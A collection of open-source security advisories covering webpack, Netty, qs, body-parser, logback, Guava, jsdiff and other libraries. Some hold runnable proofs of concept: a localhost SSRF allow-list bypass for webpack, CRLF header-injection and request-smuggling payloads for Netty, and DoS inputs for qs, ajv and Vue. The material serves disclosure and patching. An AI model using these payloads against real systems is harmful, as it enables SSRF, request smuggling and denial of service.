} if (!f.exists()) { f = makeFile(destination, name); } return f; } private File makeFile(final File destination, final String name) throws IOException { final String[] dirs = name.split("/"); String path = ""; for (int i = 0; i < dirs.length - 1; i++) { path = path + File.separator + dirs[i]; File dir = new File(destination, path); dir.mkdir(); } path = path + File.separator + dirs[dirs.length - 1]; final File f = new File(destination, path); f.createNewFile(); return f; } ``` ## Impact An attacker who can supply a malicious RAR archive can create directories outside the intended extraction directory. This violates the expected extraction boundary and can be used for filesystem pollution or file-vs-directory squatting. For example, an attacker can create a directory at a path where a later security-sensitive file is expected, causing future writes to that path to fail.
### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache. Reproduced on: - webpack version: **5.104.0** - Node version: **v18.19.1** ### Details **Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`. Example crafted URL: - `http://127.0.0.1:9000@127.0.0.1:9100/secret.js` If the allow-list is `["http://127.0.0.1:9000"]`, then: - Raw string check: `crafted.startsWith("http://127.0.0.1:9000")` → **true** - URL parsing (WHAT `new URL()` will contact): `origin` → `http://127.0.0.1:9100` (host/port after `@`) As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`. **Evidence from reproduction:** - Server logs showed the internal-only endpoint being fetched: - `[internal] 200 /secret.js served (...)` (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the **bundle** - the internal secret marker was present in the **buildHttp cache** <img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const ALLOWED_PORT = 9000; // allowlisted-looking host const INTERNAL_PORT = 9100; // actual target if bypass succeeds const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `// internal-only\n` + `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWED_PORT, (req, res) => { console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`); }); // Internal-only service (SSRF-like target) await listen(INTERNAL_PORT, (req, res) => { if (req.url === "/secret.js") { console.log(`[internal] 200 /secret.js served (secret=${secret})`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log(`[internal] 404 ${req.method} ${req.url}`); res.statusCode = 404; res.end("not found"); }); console.log("\nServers up:"); console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`); console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`); })(); ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); function fmtBool(b) { return b ? "✅" : "❌"; } async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } } (async () => { const webpackVersion = require("webpack/package.json").version; const ALLOWED_PORT = 9000; const INTERNAL_PORT = 9100; // NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`; // Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNAL_PORT const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`; const parsed = new URL(crafted); const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; console.log("\n[ENV]"); console.log(`- webpack version: ${webpackVersion}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`); console.log("\n[CRAFTED URL]"); console.log(`- import specifier: ${crafted}`); console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`); console.log(`- WHAT URL() parses:`); console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`); console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`); console.log(` - hostname: ${parsed.hostname}`); console.log(` - port: ${parsed.port}`); console.log(` - origin: ${parsed.origin}`); console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`); const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const foundSecret = m ? m[0] : null; console.log("\n[RESULT]"); console.log(`- temp dir: ${tmp}`); console.log(`- bundle: ${bundlePath}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log("\n[SECURITY CHECK]"); console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`); if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret); const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } } console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected vs Actual Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed). Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache. ### Impact Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs. Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
### Impact The client nonce used in HTTP Digest authentication was generated from ThreadLocalRandom, a fast but non-cryptographic pseudorandom number generator. RFC 7616 section 3.3 requires the cnonce to be unpredictable, since it is part of what protects the Digest exchange against chosen-plaintext and precomputation attacks on the credentials. An attacker able to observe or influence enough of the generator's output could reduce the unpredictability the protocol depends on. NTLM (and, on the 3.x line, SCRAM) in this client already use SecureRandom for their own nonces; Digest did not. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The cnonce is now generated with SecureRandom, matching the other authentication schemes in the client. ### Workarounds None available from application code. ### Details Realm.Builder's cnonce generation seeded its bytes from ThreadLocalRandom.current() rather than a SecureRandom instance.
### Impact When body-parser is configured with an invalid `limit` option value, such as an unparseable string or `NaN`, `bytes.parse()` returns `null` and the request body size check is silently skipped. Applications that rely on `limit` as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. This issue affects applications that pass a programmatically computed or user-configurable value to the `limit` option without validating it first. ### Patches This issue is fixed in [body-parser@2.3.0](https://github.com/expressjs/body-parser/releases/tag/v2.3.0) and [body-parser@1.20.6](https://github.com/expressjs/body-parser/releases/tag/v1.20.6) via [#698](https://github.com/expressjs/body-parser/pull/698). After the fix, invalid `limit` values throw a clear error at parser construction time instead of silently disabling enforcement. `null` and `undefined` continue to fall back to the default limit (`100kb`). ### Workarounds Validate `limit` before passing it to body-parser. For example, parse the value with [`bytes.parse()`](https://github.com/visionmedia/bytes.js) at startup and reject any configuration where it returns `null` or a non-finite number. ### References - [#698](https://github.com/expressjs/body-parser/pull/698): fix PR - [bytes.js](https://github.com/visionmedia/bytes.js): limit parser
### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion. ### Suggested Fix Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes. **Current code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` **Fixed code:** ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { const splitArray = val.split(','); if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit if (options.throwOnLimitExceeded) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } else { // Optionally convert to object or truncate, per README return splitArray.slice(0, options.arrayLimit - currentArrayLength); } } return splitArray; } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.
on-headers is a node.js middleware for listening to when a response writes headers. A bug in on-headers versions `<1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()`. Users should upgrade to version 1.1.0 to receive a patch. Uses are strongly encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.
### Impact A bug in on-headers versions `< 1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()` ### Patches Users should upgrade to `1.1.0` ### Workarounds Uses are encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.
A temp directory creation vulnerability exists in all versions of Guava, allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava API com.google.common.io.Files.createTempDir(). By default, on unix-like systems, the created directory is world-readable (readable by an attacker with access to the system). The method in question has been marked @Deprecated in versions 30.0 and later and should not be used. For Android developers, we recommend choosing a temporary directory API provided by Android, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.
A cross-tenant isolation vulnerability was found in Grafana’s Correlations feature affecting legacy correlation records. Due to a backward compatibility condition allowing org_id = 0 records to be returned across organizations, a user with datasource management privileges could read and permanently delete legacy correlation data belonging to another organization. This issue affects correlations created prior to Grafana 10.2 and is fixed in >=11.6.11, >=12.0.9, >=12.1.6, and >=12.2.4. Thanks to Gyu-hyeok Lee (g2h) for reporting this vulnerability.
A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.
Netty is an asynchronous event-driven network application framework for development of maintainable high performance protocol servers and clients. In versions 4.1.124.Final, and 4.2.0.Alpha3 through 4.2.4.Final, Netty incorrectly accepts standalone newline characters (LF) as a chunk-size line terminator, regardless of a preceding carriage return (CR), instead of requiring CRLF per HTTP/1.1 standards. When combined with reverse proxies that parse LF differently (treating it as part of the chunk extension), attackers can craft requests that the proxy sees as one request but Netty processes as two, enabling request smuggling attacks. This is fixed in versions 4.1.125.Final and 4.2.5.Final.
ajv (Another JSON Schema Validator) before 8.18.0 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., "^(a|a)*$") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation. This issue is also fixed in version 6.14.0.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive.
# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions) | | **Component** | `io.netty.handler.proxy.HttpProxyHandler` | | **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | **Impact** | HTTP Header Injection in CONNECT Proxy Requests | | **CVSS 3.1 Score** | **7.5 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | | **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) | ## 2. Affected Components - `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)` ## 3. Vulnerability Description Netty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. ### Root Cause ```java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory); req.headers().set(HttpHeaderNames.HOST, hostHeader); if (authorization != null) { req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization); } if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION } return req; } ``` The `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code. ### Incomplete Fix of GHSA-84h7-rjj3-6jx4 **This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).** The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where: 1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided `outboundHeaders` are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire This is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders` 2. The application does not perform its own CRLF sanitization on header values **Common affected patterns**: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel ## 5. Attack Scenarios ### Scenario 1: Proxy Authentication Bypass ```java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers); ``` **Attack input**: `userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="` **Wire format**: ``` CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED ``` The injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy. ### Scenario 2: Request Smuggling via Proxy **Attack input**: `userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"` Injects a full smuggled request through the proxy tunnel establishment. ## 6. Proof of Concept ### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.*; import java.nio.charset.StandardCharsets; public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n"); // Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory); req.headers().set(HttpHeaderNames.HOST, "target.com:443"); // Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious); // Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll(); System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } } ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty HttpProxyHandler Header Injection PoC === [TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r Injected X-Admin header in wire: true VULNERABLE: YES [TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true ``` ## 7. Remediation Recommendations ### Option 1: Remove withValidation(false) ```java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory(); ``` ### Option 2: Validate outboundHeaders Before Adding ```java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); } ``` ## 8. Resources - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)
The ReDoS can be exploited through the `parseHTML` function in the `html-parser.ts` file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption. To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a `<script>` tag but closes it incorrectly with something like `</textarea>`. ```javascript new Vue({ el: '#app', template: ' <div> Hello, world! <script>${'<'.repeat(1000000)}</textarea> </div>' }); ``` Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance: ```html <!DOCTYPE html> <html> <head> <title>My first Vue app</title> </head> <body> <div id=\"app\">Loading...</div> </body> </html> ``` When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive.
jsdiff is a JavaScript text differencing implementation. Prior to versions 8.0.3, 5.2.2, 4.0.4, and 3.5.1, attempting to parse a patch whose filename headers contain the line break characters `\r`, `\u2028`, or `\u2029` can cause the `parsePatch` method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory. Applications are therefore likely to be vulnerable to a denial-of-service attack if they call `parsePatch` with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling `parsePatch` on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed). The `applyPatch` method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using `parsePatch`. Other methods of the library are unaffected. Finally, a second and lesser interdependent bug - a ReDOS - also exhibits when those same line break characters are present in a patch's *patch* header (also known as its "leading garbage"). A maliciously-crafted patch header of length *n* can take `parsePatch` O(*n*³) time to parse. Versions 8.0.3, 5.2.2, 4.0.4, and 3.5.1 contain a fix. As a workaround, do not attempt to parse patches that contain any of these characters: `\r`, `\u2028`, or `\u2029`.
### Impact Attempting to parse a patch whose filename headers contain the line break characters `\r`, `\u2028`, or `\u2029` can cause the `parsePatch` method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory. Applications are therefore likely to be vulnerable to a denial-of-service attack if they call `parsePatch` with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling `parsePatch` on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed). The `applyPatch` method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using `parsePatch`. Other methods of the library are unaffected. Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's *patch* header (also known as its "leading garbage"). A maliciously-crafted patch header of length *n* can take `parsePatch` O(*n*³) time to parse. ### Patches All vulnerabilities described are fixed in v8.0.3. ### Workarounds If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: `\r`, `\u2028`, or `\u2029`. ### References PR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649 ### CVE Notes Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to `parsePatch` can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. The attacks involves the modification of DOCTYPE declaration in XML configuration files.
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. The attacks involves the modification of DOCTYPE declaration in XML configuration files.
In Eclipse Vert.x versions [4.0.0, 4.5.21] and [5.0.0, 5.0.4], when "directory listing" is enabled, file and directory names are inserted into generated HTML without proper escaping in the href, title, and link attributes. An attacker who can create or rename files or directories within a served path can craft filenames containing malicious script or HTML content, leading to stored cross-site scripting (XSS) that executes in the context of users viewing the affected directory listing.
